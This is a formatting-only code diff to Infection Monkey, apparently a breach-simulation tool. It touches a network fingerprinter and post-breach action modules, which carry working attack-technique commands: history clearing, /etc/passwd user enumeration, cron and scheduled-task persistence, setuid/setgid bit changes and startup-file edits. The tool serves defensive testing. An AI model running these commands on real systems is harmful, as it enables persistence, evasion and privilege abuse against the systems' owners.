--- a/monkey/infection_monkey/network/ping_scanner.py
+++ b/monkey/infection_monkey/network/ping_scanner.py
@@ -8,11 +8,9 @@ import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger
from infection_monkey.network.HostScanner import HostScanner
-__author__ = 'itamar'
-
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
-TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+'
+TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+"
LINUX_TTL = 64
WINDOWS_TTL = 128
@@ -20,7 +18,7 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
- _SCANNED_SERVICE = ''
+ _SCANNED_SERVICE = ""
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -33,12 +31,11 @@ class PingScanner(HostScanner, HostFinger):
if not "win32" == sys.platform:
timeout /= 1000
- return 0 == subprocess.call(["ping",
- PING_COUNT_FLAG, "1",
- PING_TIMEOUT_FLAG, str(timeout),
- host.ip_addr],
- stdout=self._devnull,
- stderr=self._devnull)
+ return 0 == subprocess.call(
+ ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
+ stdout=self._devnull,
+ stderr=self._devnull,
+ )
def get_host_fingerprint(self, host):
@@ -50,7 +47,7 @@ class PingScanner(HostScanner, HostFinger):
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
- text=True
+ text=True,
)
output = " ".join(sub_proc.communicate())
@@ -59,9 +56,10 @@ class PingScanner(HostScanner, HostFinger):
try:
ttl = int(regex_result.group(0))
if ttl <= LINUX_TTL:
- host.os['type'] = 'linux'
- else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up.
- host.os['type'] = 'windows'
+ host.os["type"] = "linux"
+ else: # as far we we know, could also be OSX/BSD but lets handle that when it
+ # comes up.
+ host.os["type"] = "windows"
host.icmp = True
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index f822822da..b035a053f 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -7,15 +7,17 @@ from odict import odict
from infection_monkey.network.HostFinger import HostFinger
SMB_PORT = 445
-SMB_SERVICE = 'tcp-445'
+SMB_SERVICE = "tcp-445"
LOG = logging.getLogger(__name__)
class Packet:
- fields = odict([
- ("data", ""),
- ])
+ fields = odict(
+ [
+ ("data", ""),
+ ]
+ )
def __init__(self, **kw):
self.fields = odict(self.__class__.fields)
@@ -26,91 +28,111 @@ class Packet:
self.fields[k] = v
def to_byte_string(self):
- content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()]
+ content_list = [
+ (x.to_byte_string() if hasattr(x, "to_byte_string") else x)
+ for x in self.fields.values()
+ ]
return b"".join(content_list)
# SMB Packets
class SMBHeader(Packet):
- fields = odict([
- ("proto", b"\xff\x53\x4d\x42"),
- ("cmd", b"\x72"),
- ("errorcode", b"\x00\x00\x00\x00"),
- ("flag1", b"\x00"),
- ("flag2", b"\x00\x00"),
- ("pidhigh", b"\x00\x00"),
- ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", b"\x00\x00"),
- ("tid", b"\x00\x00"),
- ("pid", b"\x00\x00"),
- ("uid", b"\x00\x00"),
- ("mid", b"\x00\x00"),
- ])
+ fields = odict(
+ [
+ ("proto", b"\xff\x53\x4d\x42"),
+ ("cmd", b"\x72"),
+ ("errorcode", b"\x00\x00\x00\x00"),
+ ("flag1", b"\x00"),
+ ("flag2", b"\x00\x00"),
+ ("pidhigh", b"\x00\x00"),
+ ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", b"\x00\x00"),
+ ("tid", b"\x00\x00"),
+ ("pid", b"\x00\x00"),
+ ("uid", b"\x00\x00"),
+ ("mid", b"\x00\x00"),
+ ]
+ )
class SMBNego(Packet):
- fields = odict([
- ("wordcount", b"\x00"),
- ("bcc", b"\x62\x00"),
- ("data", "")
- ])
+ fields = odict([("wordcount", b"\x00"), ("bcc", b"\x62\x00"), ("data", "")])
def calculate(self):
self.fields["bcc"] = struct.pack(" 0. false || true -> 0. false || false -> 1. So:
# if curl works, we're good.
# If curl doesn't exist or fails and wget work, we're good.
# And if both don't exist: we'll call it a win.
- format_string = "curl {url} || wget -O/dev/null -q {url}"
+ if shutil.which("curl") is not None:
+ format_string = "curl {url}"
+ else:
+ format_string = "wget -O/dev/null -q {url}"
return format_string.format(url=url)
def send_result_telemetry(self, exit_status, commandline, username):
@@ -69,12 +83,19 @@ class CommunicateAsNewUser(PBA):
:param username: Username from which the command was executed, for reporting back.
"""
if exit_status == 0:
- PostBreachTelem(self, (
- CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)).send()
+ PostBreachTelem(
+ self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)
+ ).send()
else:
- PostBreachTelem(self, (
- CREATED_PROCESS_AS_USER_FAILED_FORMAT.format(
- commandline, username, exit_status, twos_complement(exit_status)), False)).send()
+ PostBreachTelem(
+ self,
+ (
+ CREATED_PROCESS_AS_USER_FAILED_FORMAT.format(
+ commandline, username, exit_status, twos_complement(exit_status)
+ ),
+ False,
+ ),
+ ).send()
def twos_complement(exit_status):
diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py
index 4d6e5f87d..8fdebd0df 100644
--- a/monkey/infection_monkey/post_breach/actions/discover_accounts.py
+++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py
@@ -1,11 +1,13 @@
from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY
-from infection_monkey.post_breach.account_discovery.account_discovery import get_commands_to_discover_accounts
+from infection_monkey.post_breach.account_discovery.account_discovery import (
+ get_commands_to_discover_accounts,
+)
from infection_monkey.post_breach.pba import PBA
class AccountDiscovery(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_commands_to_discover_accounts()
- super().__init__(POST_BREACH_ACCOUNT_DISCOVERY,
- linux_cmd=' '.join(linux_cmds),
- windows_cmd=windows_cmds)
+ super().__init__(
+ POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
+ )
diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py
index baba3afea..c6e1d1a6b 100644
--- a/monkey/infection_monkey/post_breach/actions/hide_files.py
+++ b/monkey/infection_monkey/post_breach/actions/hide_files.py
@@ -2,12 +2,14 @@ from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES
from infection_monkey.post_breach.pba import PBA
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils.environment import is_windows_os
-from infection_monkey.utils.hidden_files import (cleanup_hidden_files, get_commands_to_hide_files,
- get_commands_to_hide_folders)
+from infection_monkey.utils.hidden_files import (
+ cleanup_hidden_files,
+ get_commands_to_hide_files,
+ get_commands_to_hide_folders,
+)
from infection_monkey.utils.windows.hidden_files import get_winAPI_to_hide_files
-HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files,
- get_commands_to_hide_folders]
+HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files, get_commands_to_hide_folders]
class HiddenFiles(PBA):
@@ -22,9 +24,11 @@ class HiddenFiles(PBA):
# create hidden files and folders
for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS:
linux_cmds, windows_cmds = function_to_get_commands()
- super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES,
- linux_cmd=' '.join(linux_cmds),
- windows_cmd=windows_cmds)
+ super(HiddenFiles, self).__init__(
+ name=POST_BREACH_HIDDEN_FILES,
+ linux_cmd=" ".join(linux_cmds),
+ windows_cmd=windows_cmds,
+ )
super(HiddenFiles, self).run()
if is_windows_os(): # use winAPI
result, status = get_winAPI_to_hide_files()
diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py
index c10575d39..18990ab11 100644
--- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py
+++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py
@@ -2,8 +2,9 @@ import subprocess
from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION
from infection_monkey.post_breach.pba import PBA
-from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import \
- get_commands_to_modify_shell_startup_files
+from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import (
+ get_commands_to_modify_shell_startup_files,
+)
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
@@ -24,37 +25,42 @@ class ModifyShellStartupFiles(PBA):
def modify_shell_startup_PBA_list(self):
return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas()
- class ShellStartupPBAGenerator():
+ class ShellStartupPBAGenerator:
def get_modify_shell_startup_pbas(self):
- (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux),\
- (cmds_for_windows, shell_startup_files_per_user_for_windows) =\
- get_commands_to_modify_shell_startup_files()
+ (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux), (
+ cmds_for_windows,
+ shell_startup_files_per_user_for_windows,
+ ) = get_commands_to_modify_shell_startup_files()
pbas = []
for startup_file_per_user in shell_startup_files_per_user_for_windows:
- windows_cmds = ' '.join(cmds_for_windows).format(startup_file_per_user)
- pbas.append(self.ModifyShellStartupFile(linux_cmds='', windows_cmds=windows_cmds))
+ windows_cmds = " ".join(cmds_for_windows).format(startup_file_per_user)
+ pbas.append(self.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds))
for username in usernames_for_linux:
for shell_startup_file in shell_startup_files_for_linux:
- linux_cmds = ' '.join(cmds_for_linux).format(shell_startup_file).format(username)
- pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds=''))
+ linux_cmds = (
+ " ".join(cmds_for_linux).format(shell_startup_file).format(username)
+ )
+ pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds=""))
return pbas
class ModifyShellStartupFile(PBA):
def __init__(self, linux_cmds, windows_cmds):
- super().__init__(name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
- linux_cmd=linux_cmds,
- windows_cmd=windows_cmds)
+ super().__init__(
+ name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
+ linux_cmd=linux_cmds,
+ windows_cmd=windows_cmds,
+ )
def run(self):
if self.command:
try:
- output = subprocess.check_output(self.command, # noqa: DUO116
- stderr=subprocess.STDOUT,
- shell=True).decode()
+ output = subprocess.check_output( # noqa: DUO116
+ self.command, stderr=subprocess.STDOUT, shell=True
+ ).decode()
return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py
index 97ad75923..e7845968a 100644
--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py
+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py
@@ -1,6 +1,8 @@
from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING
-from infection_monkey.post_breach.job_scheduling.job_scheduling import (get_commands_to_schedule_jobs,
- remove_scheduled_jobs)
+from infection_monkey.post_breach.job_scheduling.job_scheduling import (
+ get_commands_to_schedule_jobs,
+ remove_scheduled_jobs,
+)
from infection_monkey.post_breach.pba import PBA
@@ -12,10 +14,12 @@ class ScheduleJobs(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_commands_to_schedule_jobs()
- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,
- linux_cmd=' '.join(linux_cmds),
- windows_cmd=windows_cmds)
-
+ super(ScheduleJobs, self).__init__(
+ name=POST_BREACH_JOB_SCHEDULING,
+ linux_cmd=" ".join(linux_cmds),
+ windows_cmd=windows_cmds,
+ )
+
def run(self):
super(ScheduleJobs, self).run()
remove_scheduled_jobs()
diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py
index bf02664eb..ece987107 100644
--- a/monkey/infection_monkey/post_breach/actions/timestomping.py
+++ b/monkey/infection_monkey/post_breach/actions/timestomping.py
@@ -6,6 +6,4 @@ from infection_monkey.post_breach.timestomping.timestomping import get_timestomp
class Timestomping(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_timestomping_commands()
- super().__init__(POST_BREACH_TIMESTOMPING,
- linux_cmd=linux_cmds,
- windows_cmd=windows_cmds)
+ super().__init__(POST_BREACH_TIMESTOMPING, linux_cmd=linux_cmds, windows_cmd=windows_cmds)
diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py
index ed9f665f0..ed9b1dc21 100644
--- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py
+++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py
@@ -4,7 +4,9 @@ import subprocess
from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
- cleanup_changes, get_commands_to_proxy_execution_using_signed_script)
+ cleanup_changes,
+ get_commands_to_proxy_execution_using_signed_script,
+)
from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
@@ -13,18 +15,20 @@ LOG = logging.getLogger(__name__)
class SignedScriptProxyExecution(PBA):
def __init__(self):
windows_cmds = get_commands_to_proxy_execution_using_signed_script()
- super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC,
- windows_cmd=' '.join(windows_cmds))
+ super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds))
def run(self):
try:
- original_comspec = ''
+ original_comspec = ""
if is_windows_os():
- original_comspec =\
- subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116
-
+ original_comspec = subprocess.check_output( # noqa: DUO116
+ "if defined COMSPEC echo %COMSPEC%", shell=True
+ ).decode()
super().run()
except Exception as e:
- LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}")
+ LOG.warning(
+ f"An exception occurred on running PBA "
+ f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}"
+ )
finally:
cleanup_changes(original_comspec)
diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py
index 7afd2e631..9f6afc829 100644
--- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py
+++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py
@@ -6,5 +6,4 @@ from infection_monkey.post_breach.trap_command.trap_command import get_trap_comm
class TrapCommand(PBA):
def __init__(self):
linux_cmds = get_trap_commands()
- super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND,
- linux_cmd=linux_cmds)
+ super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=linux_cmds)
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index dd723c14d..e165d2890 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -13,10 +13,9 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path
LOG = logging.getLogger(__name__)
-__author__ = 'VakarisZ'
-DIR_CHANGE_WINDOWS = 'cd %s & '
-DIR_CHANGE_LINUX = 'cd %s ; '
+DIR_CHANGE_WINDOWS = "cd %s & "
+DIR_CHANGE_LINUX = "cd %s ; "
class UsersPBA(PBA):
@@ -26,7 +25,7 @@ class UsersPBA(PBA):
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
- self.filename = ''
+ self.filename = ""
if not is_windows_os():
# Add linux commands to PBA's
@@ -34,7 +33,9 @@ class UsersPBA(PBA):
self.filename = WormConfiguration.PBA_linux_filename
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
- self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
+ self.command = (
+ DIR_CHANGE_LINUX % get_monkey_dir_path()
+ ) + WormConfiguration.custom_PBA_linux_cmd
elif WormConfiguration.custom_PBA_linux_cmd:
self.command = WormConfiguration.custom_PBA_linux_cmd
else:
@@ -43,7 +44,9 @@ class UsersPBA(PBA):
self.filename = WormConfiguration.PBA_windows_filename
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
- self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
+ self.command = (
+ DIR_CHANGE_WINDOWS % get_monkey_dir_path()
+ ) + WormConfiguration.custom_PBA_windows_cmd
elif WormConfiguration.custom_PBA_windows_cmd:
self.command = WormConfiguration.custom_PBA_windows_cmd
@@ -81,16 +84,18 @@ class UsersPBA(PBA):
if not status:
status = ScanStatus.USED
- T1105Telem(status,
- WormConfiguration.current_server.split(':')[0],
- get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
- filename).send()
+ T1105Telem(
+ status,
+ WormConfiguration.current_server.split(":")[0],
+ get_interface_to_target(WormConfiguration.current_server.split(":")[0]),
+ filename,
+ ).send()
if status == ScanStatus.SCANNED:
return False
try:
- with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
+ with open(os.path.join(dst_dir, filename), "wb") as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
return True
except IOError as e:
diff --git a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py
index a5e8d7d44..fab63095e 100644
--- a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py
+++ b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py
@@ -1,11 +1,14 @@
from infection_monkey.post_breach.clear_command_history.linux_clear_command_history import (
- get_linux_command_history_files, get_linux_commands_to_clear_command_history, get_linux_usernames)
+ get_linux_command_history_files,
+ get_linux_commands_to_clear_command_history,
+ get_linux_usernames,
+)
def get_commands_to_clear_command_history():
- (linux_cmds,
- linux_cmd_hist_files,
- linux_usernames) = (get_linux_commands_to_clear_command_history(),
- get_linux_command_history_files(),
- get_linux_usernames())
+ (linux_cmds, linux_cmd_hist_files, linux_usernames) = (
+ get_linux_commands_to_clear_command_history(),
+ get_linux_command_history_files(),
+ get_linux_usernames(),
+ )
return linux_cmds, linux_cmd_hist_files, linux_usernames
diff --git a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py
index a3545f124..642a42d5a 100644
--- a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py
+++ b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py
@@ -5,19 +5,18 @@ from infection_monkey.utils.environment import is_windows_os
def get_linux_commands_to_clear_command_history():
if is_windows_os():
- return ''
+ return ""
- TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file'
+ TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file"
return [
- '3<{0} 3<&- && ', # check for existence of file
- 'cat {0} ' # copy contents of history file to...
- f'> {TEMP_HIST_FILE} && ', # ...temporary file
- 'echo > {0} && ', # clear contents of file
- 'echo \"Successfully cleared {0}\" && ', # if successfully cleared
- f'cat {TEMP_HIST_FILE} ', # restore history file back with...
- '> {0} ;' # ...original contents
- f'rm {TEMP_HIST_FILE} -f' # remove temp history file
+ "3<{0} 3<&- && ", # check for existence of file
+ "cat {0} " # copy contents of history file to...
+ f"> {TEMP_HIST_FILE} && ", # ...temporary file
+ "echo > {0} && ", # clear contents of file
+ 'echo "Successfully cleared {0}" && ', # if successfully cleared
+ f"cat {TEMP_HIST_FILE} ", # restore history file back with...
+ "> {0} ;" f"rm {TEMP_HIST_FILE} -f", # ...original contents # remove temp history file
]
@@ -29,13 +28,13 @@ def get_linux_command_history_files():
# get list of paths of different shell history files (default values) with place for username
STARTUP_FILES = [
- file_path.format(HOME_DIR) for file_path in
- [
- "{0}{{0}}/.bash_history", # bash
- "{0}{{0}}/.local/share/fish/fish_history", # fish
- "{0}{{0}}/.zsh_history", # zsh
- "{0}{{0}}/.sh_history", # ksh
- "{0}{{0}}/.history" # csh, tcsh
+ file_path.format(HOME_DIR)
+ for file_path in [
+ "{0}{{0}}/.bash_history", # bash
+ "{0}{{0}}/.local/share/fish/fish_history", # fish
+ "{0}{{0}}/.zsh_history", # zsh
+ "{0}{{0}}/.sh_history", # ksh
+ "{0}{{0}}/.history", # csh, tcsh
]
]
@@ -47,9 +46,12 @@ def get_linux_usernames():
return []
# get list of usernames
- USERS = subprocess.check_output( # noqa: DUO116
- "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1",
- shell=True
- ).decode().split('\n')[:-1]
+ USERS = (
+ subprocess.check_output( # noqa: DUO116
+ "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
+ )
+ .decode()
+ .split("\n")[:-1]
+ )
return USERS
diff --git a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py
index f7bceef72..a38aa815b 100644
--- a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py
+++ b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py
@@ -1,8 +1,12 @@
import subprocess
-from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import get_linux_commands_to_schedule_jobs
+from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import (
+ get_linux_commands_to_schedule_jobs,
+)
from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import (
- get_windows_commands_to_remove_scheduled_jobs, get_windows_commands_to_schedule_jobs)
+ get_windows_commands_to_remove_scheduled_jobs,
+ get_windows_commands_to_schedule_jobs,
+)
from infection_monkey.utils.environment import is_windows_os
diff --git a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py
index 4ed5ff970..09a8075e0 100644
--- a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py
+++ b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py
@@ -3,10 +3,10 @@ TEMP_CRON = "$HOME/monkey-schedule-jobs"
def get_linux_commands_to_schedule_jobs():
return [
- f'touch {TEMP_CRON} &&',
- f'crontab -l > {TEMP_CRON} &&',
- 'echo \"# Successfully scheduled a job using crontab\" |',
- f'tee -a {TEMP_CRON} &&',
- f'crontab {TEMP_CRON} ;',
- f'rm {TEMP_CRON}'
+ f"touch {TEMP_CRON} &&",
+ f"crontab -l > {TEMP_CRON} &&",
+ 'echo "# Successfully scheduled a job using crontab" |',
+ f"tee -a {TEMP_CRON} &&",
+ f"crontab {TEMP_CRON} ;",
+ f"rm {TEMP_CRON}",
]
diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
index 6fd888d67..9f44768d2 100644
--- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
+++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py
@@ -1,12 +1,14 @@
-SCHEDULED_TASK_NAME = 'monkey-spawn-cmd'
-SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
+SCHEDULED_TASK_NAME = "monkey-spawn-cmd"
+SCHEDULED_TASK_COMMAND = r"C:\windows\system32\cmd.exe"
-# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
+
+# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005
+# /T1053.005.md
def get_windows_commands_to_schedule_jobs():
- return f'schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}'
+ return f"schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}"
def get_windows_commands_to_remove_scheduled_jobs():
- return f'schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1'
+ return f"schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1"
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 93d10d45e..b047c4a8d 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -11,12 +11,11 @@ from infection_monkey.utils.plugins.plugin import Plugin
LOG = logging.getLogger(__name__)
-__author__ = 'VakarisZ'
-
class PBA(Plugin):
"""
- Post breach action object. Can be extended to support more than command execution on target machine.
+ Post breach action object. Can be extended to support more than command execution on target
+ machine.
"""
@staticmethod
@@ -36,14 +35,6 @@ class PBA(Plugin):
self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
- def get_pba(self):
- """
- This method returns a PBA object based on a worm's configuration.
- Return None or False if you don't want the pba to be executed.
- :return: A pba object.
- """
- return self
-
@staticmethod
def should_run(class_name):
"""
@@ -60,7 +51,9 @@ class PBA(Plugin):
exec_funct = self._execute_default
result = exec_funct()
if self.scripts_were_used_successfully(result):
- T1064Telem(ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action.").send()
+ T1064Telem(
+ ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action."
+ ).send()
PostBreachTelem(self, result).send()
else:
LOG.debug(f"No command available for PBA '{self.name}' on current OS, skipping.")
@@ -87,7 +80,9 @@ class PBA(Plugin):
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
- output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode()
+ output = subprocess.check_output( # noqa: DUO116
+ self.command, stderr=subprocess.STDOUT, shell=True
+ ).decode()
return output, True
except subprocess.CalledProcessError as e:
# Return error output of the command
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 888984551..3bfc1f362 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -3,14 +3,9 @@ from multiprocessing.dummy import Pool
from typing import Sequence
from infection_monkey.post_breach.pba import PBA
-from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
-__author__ = 'VakarisZ'
-
-PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
-
class PostBreach(object):
"""
@@ -18,7 +13,6 @@ class PostBreach(object):
"""
def __init__(self):
- self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()
def execute_all_configured(self):
diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py
index b1f40b5b7..15809f481 100644
--- a/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py
+++ b/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py
@@ -1,11 +1,14 @@
-TEMP_FILE = '$HOME/monkey-temp-file'
+TEMP_FILE = "$HOME/monkey-temp-file"
-# Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md
+
+# Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001
+# /T1548.001.md
def get_linux_commands_to_setuid_setgid():
return [
- f'touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s {TEMP_FILE} &&',
+ f"touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s "
+ f"{TEMP_FILE} &&",
'echo "Successfully changed setuid/setgid bits" &&',
- f'rm {TEMP_FILE}'
+ f"rm {TEMP_FILE}",
]
diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py
index 7760ab900..8997e143c 100644
--- a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py
+++ b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py
@@ -1,4 +1,6 @@
-from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import get_linux_commands_to_setuid_setgid
+from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import (
+ get_linux_commands_to_setuid_setgid,
+)
def get_commands_to_change_setuid_setgid():
diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py
index 60e47d50c..ddd8f514b 100644
--- a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py
+++ b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py
@@ -5,36 +5,43 @@ from infection_monkey.utils.environment import is_windows_os
def get_linux_commands_to_modify_shell_startup_files():
if is_windows_os():
- return '', [], []
